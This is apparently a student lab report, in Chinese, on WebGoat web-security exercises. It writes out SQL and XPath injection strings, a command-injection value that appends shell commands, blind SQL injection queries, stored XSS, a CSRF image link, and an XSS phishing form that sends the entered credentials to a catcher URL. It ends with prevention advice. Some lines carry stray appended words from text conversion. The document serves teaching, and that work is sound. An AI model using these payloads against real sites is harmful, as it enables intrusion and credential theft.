题目是想办法获得数据库全部人的信用卡号,用Smith登陆后,获得Smith的两个信用卡号,如图html
但如何才能获得全部人的信用卡号呢?web
只须要输入' or 1 = ' 1
,这样构造能够将引号闭合,再or上一个永真式,就能屏蔽掉前面的条件。sql
在User Name中以这种格式注入:Use CR (%0d) and LF (%0a) for a new line。好比输入20155225jzy%0d%0aLogin succeeded !
数据库
这个题目也是要获得数据库所有天气数据,但没有一个能够输入的文本框怎么办呢?浏览器
查看页面源代码,在输入下拉框中,向后台提交value值,因此只需在后面加上or 1=1 永真式便可。安全
登陆成功:服务器
仍是能够用修改页面源码的方法。在后面加上可以在目标主机上执行的命令:"& netstat -an & ipconfig"cookie
可见直接改变了下拉框选项,里面出现了咱们但愿系统执行的命令。网络
成功:xss
开始咱们想在密码框输入' or 1=1 --注入,可是失败了。查看网页源码发现,对密码框输入进行了限制。
修改密码限制以后,成功登陆:
这是一个职员私人数据查询系统,咱们的目的是看到其余职员的信息。
XPath 是一门在 XML 文档中查找信息的语言。除了在输入1 = 1之外,还须要选择一个XML节点,输入'a' = 'a。
因此只需在User Name输入20155225jzy' or 1=1 or 'a'='a
在Password输入20155225jzy
便可成功得到所用员工信息。
使用盲字符串SQL注入进行爆破,感受这个好难啊,不太明白逻辑,因此去看了一下答案。
解决方法是经过将一个布尔表达式注入到预脚本SQL查询中来找出名称。
首先是和H比较:101 AND (SUBSTRING((SELECT name FROM pins WHERE cc_number='4321432143214321'), 1, 1) < 'H' );返回false并显示无效帐号。
变成< 'L' 会返回true,这样咱们就知道这个字母是在H和Lz之间。再通过几回查询就能判断出第一个字母是J。
同理,最终能够推出用户名是Jill。
用XSS和HTML注入,在搜索框注入下面这段html:
</form> <script> function hack(){ XSSImage=new Image; XSSImage.src="http://localhost:8080/WebGoat/catcher?PROPERTY=yes&user=" + document.phish.user.value + "&password=" + document.phish.pass.value + ""; alert("Had this been a real attack... Your credentials were just stolen. User Name = " + document.phish.user.value + " Password = " + document.phish.pass.value); } </script> <form name="phish"> <br> <br> <HR> <H2>This feature requires account login:</H2> <br> <br>Enter Username:<br> <input type="text" name="user"> <br>Enter Password:<br> <input type="password" name = "pass"> <br> <input type="submit" name="login" value="login" onclick="hack()"> </form> <br> <br> <HR>
而后会看到一个能够输入用户名密码的表单,直接点击登陆。WebGoat会将输入的信息捕获并反馈回来,攻击成功。
这是存储型XSS攻击。在Title里输入学号,在Message里输入<script>alert("20155225 attack succeed!");</script>
攻击成功。
写一个URL诱使其余用户点击,从而触发CSRF攻击,咱们能够以图片的的形式将URL放进Message框,这时的URL对其余用户是不可见的,用户一旦点击图片,就会触发一个CSRF事件。如图:
SQL注入攻击值得是经过构建特殊的输入做为参数传入web应用程序,而这些输入大都是SQL语法里的一下组合,
经过执行SQL语句进执行攻击者所要的操做,其主要缘由是程序没有细致的过滤用户输入的数据,导致非法数据侵入系统。
预防方法:
一、首先要对输入的数据进行过滤,将常见的sql语句的关键词:select or ' " 等字符进行过滤。
二、对在数据库中对密码进行加密,验证登录的时候先将 密码进行加密再与数据库中加密的密码进行对比,若此时一致则基本是安全的。
三、对数据库中密码采用经常使用的MD5加密时尽可能在字符串的前边和后边加上指定字符后在进行加密,这样即使是看到了数据库也很难破解密码。
XSS是Cross-site scripting,为了和CSS层叠样式表区分因此取名XSS。是一种网站应用程序的安全漏洞攻击,是代码注入的一种。它容许恶意用户将代码注入到网页上,其余用户在观看网页时就会受到影响。这类攻击一般包含了HTML以及用户端脚本语言。
XSS攻击的主要目的则是,想办法获取目标攻击网站的cookie,由于有了cookie至关于有了seesion,有了这些信息就能够在任意能接进互联网的pc登录该网站,并以其余人的生份登录,作一些破坏。预防措施,防止下发界面显示html标签,把</>等符号转义
预防方法:
当恶意代码值被做为某一标签的内容显示:在不须要html输入的地方对html 标签及一些特殊字符( ” < > & 等等 )作过滤,将其转化为不被浏览器解释执行的字符。
当恶意代码被做为某一标签的属性显示,经过用 “将属性截断来开辟新的属性或恶意方法:属性自己存在的 单引号和双引号都须要进行转码;对用户输入的html 标签及标签属性作白名单过滤,也能够对一些存在漏洞的标签和属性进行专门过滤。
预防方法:
(1).Cookie Hashing(全部表单都包含同一个伪随机值):
这多是最简单的解决方案了,由于攻击者不能得到第三方的Cookie(理论上),因此表单中的数据也就构造失败了:在表单里增长Hash值,以认证这确实是用户发送的请求。而后在服务器端进行Hash值验证
(2).验证码
这个方案的思路是:每次的用户提交都须要用户在表单中填写一个图片上的随机字符串。
(3).One-Time Tokens(不一样的表单包含一个不一样的伪随机值)
经过此次实验,我了解到web攻击的一些基本内容,也感觉到web安全有很广阔的探索空间,但愿之后还会有机会继续学习。